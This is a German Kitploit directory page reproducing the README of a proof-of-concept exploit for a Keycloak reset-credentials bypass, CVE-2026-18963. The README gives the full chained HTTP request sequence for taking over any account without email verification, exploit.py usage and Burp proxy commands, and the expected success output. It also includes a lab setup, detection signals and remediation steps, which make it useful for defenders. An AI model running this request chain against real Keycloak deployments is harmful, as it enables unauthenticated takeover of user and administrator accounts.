Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-18963-keycloak — Proof-of-Concept-Exploit für CVE-2026-18963, eine kritische Umgehung des Keycloak-Reset-Credentials-Mechanismus, die eine nicht authentifizierte Kontenübernahme ermöglicht. Enthält Laboraufbau, Erkennungshinweise und Behebungsmaßnahmen für autorisierte Tests. | Kitploit
Tools/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitAuthentifizierungLernen & Bildung
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Proof-of-Concept-Exploit für CVE-2026-18963, eine kritische Umgehung des Keycloak-Reset-Credentials-Mechanismus, die eine nicht authentifizierte Kontenübernahme ermöglicht. Enthält Laboraufbau, Erkennungshinweise und Behebungsmaßnahmen für autorisierte Tests.

Repository anzeigen
20346vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-18963 — Keycloak Reset-Credentials-Bypass → Account-Übernahme

Nicht authentifizierte Account-Übernahme im Reset-Credentials-Ablauf von Keycloak. Ein Angreifer, der lediglich einen Benutzernamen/eine E-Mail-Adresse kennt, kann das Passwort jedes beliebigen Benutzers zurücksetzen — einschließlich Administratoren —, ohne jemals die Verifizierungs-E-Mail zu erhalten.

CVE CVSS CWE License


⚠️ Haftungsausschluss — Nur zur ethischen Verwendung

Dieser Proof of Concept wird ausschließlich zu Bildungszwecken, für defensive Forschung, Detection Engineering und autorisierte Sicherheitstests veröffentlicht.

  • Verwende ihn nur gegen Systeme, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast. Der Zugriff auf oder die Veränderung von Systemen ohne Erlaubnis ist illegal und unethisch.
  • Dies ist eine defensive/Bildungs-Ressource, die Teams dabei helfen soll, CVE-2026-18963 zu verstehen, zu erkennen und zu beheben — nicht, um Dritte anzugreifen.
  • Der Autor (red-darkin) übernimmt KEINE Verantwortung oder Haftung für jeglichen Missbrauch, Schaden oder illegale Aktivitäten, die mit diesem Code durchgeführt werden. Du bist allein verantwortlich für die Art und Weise, wie du ihn verwendest, und für die Einhaltung aller geltenden Gesetze.
  • Durch das Herunterladen oder Verwenden dieses Repositorys akzeptierst du diese Bedingungen. Wenn du nicht einverstanden bist, verwende es nicht.

Die vollständige Erklärung findest du in DISCLAIMER.md.


Zusammenfassung

CVECVE-2026-18963
SchweregradKritisch — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
SchwachstelleCWE-640 — Schwacher Mechanismus zur Passwortwiederherstellung
BetroffenKeycloak < 26.7.2 (Upstream). Ebenfalls RH-Build-Streams, die über 26.6.6 / 26.4.15-Bundles behoben wurden
BehobenKeycloak 26.7.2 (PR #51844)
VoraussetzungenForgot password (Reset Credentials) im Realm aktiviert — der Standard
AuswirkungVollständige Account-Übernahme jedes Benutzers (einschließlich Realm-Administratoren) → Kompromittierung des IdP + lateraler SSO-Zugriff

Funktionsweise — zwei verkettete Fehler

Der Passwort-Reset-Ablauf (reset-credentials) erzwingt normalerweise, dass du auf einen Link klickst, der per E-Mail an den Kontoinhaber gesendet wird, bevor du ein neues Passwort festlegen kannst. Zwei Defekte ermöglichen es einem Angreifer, diese Prüfung vollständig zu umgehen:

  1. Nicht eingegrenzter „Try Another Way"-Zustand — der Authenticator-Selector-Handler speichert den Hinweis AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" nicht eingegrenzt auf die Execution-ID. Ein erneutes Betreten des Ablaufs hinterlässt die Authentifizierungssitzung in einem verwirrten/veralteten Zustand.
  2. Fehlende Token-Prüfung im E-Mail-Schritt — ResetCredentialEmail.action() ruft context.success() auf, ohne ACTION_TOKEN_USER_ID zu verifizieren (d. h. ohne zu bestätigen, dass das per E-Mail versendete Action-Token tatsächlich verbraucht wurde).

Durch die Verkettung dieser beiden Fehler wird die Authentifizierungssitzung direkt zum UPDATE_PASSWORD-Schritt für einen beliebigen Benutzer vorangetrieben, ohne dass eine E-Mail erforderlich ist.

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

Siehe docs/ROOTCAUSE.md für den annotierten Patch-Diff.


Schnellstart (Lab)

Du benötigst Docker und Python 3 mit requests.

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

Erwartetes Ende:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

Melden Sie sich dann als victim / Pwned-2026! an, um die Übernahme zu bestätigen.

Negativkontrolle (gepatcht)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

Verwendung

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

Jede HTTP-Antwort wird zur Inspektion nach ./dump/ geschrieben.


Proxying über Burp

Keycloak verwendet bereits 8080, daher sollte der Listener von Burp auf einen anderen Port (z. B. 8081) ausgerichtet werden:

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Die rohe Request-Kette für Burp Repeater befindet sich in requests/burp-chain.txt.


Erkennung

Achte auf eine Passwortänderung, der keine E-Mail-Verifizierung in derselben Authentifizierungssitzung vorausging:

  • Ein UPDATE_PASSWORD-Ereignis ohne vorausgehendes VERIFY_EMAIL / EXECUTE_ACTION_TOKEN für diese Sitzung.
  • Häufungen von reset-credentials-Anfragen mit tryAnotherWay=on.
  • Mehrfaches erneutes Aufrufen von login-actions/reset-credentials für dieselbe tab_id.

Behebung

  • Upgrade auf Keycloak 26.7.2 (oder den korrigierten RH-Build-Stream) — höchste Priorität.
  • Vorübergehende Abhilfe: Realm settings → Login → Forgot password = Off.
  • Nach dem Patch: Admin-Anmeldedaten rotieren, nach Resets eine erneute Anmeldung erzwingen und bei den oben genannten Erkennungssignalen alarmieren.

Referenzen

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • Fix-PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

Demo

Tool herunterladen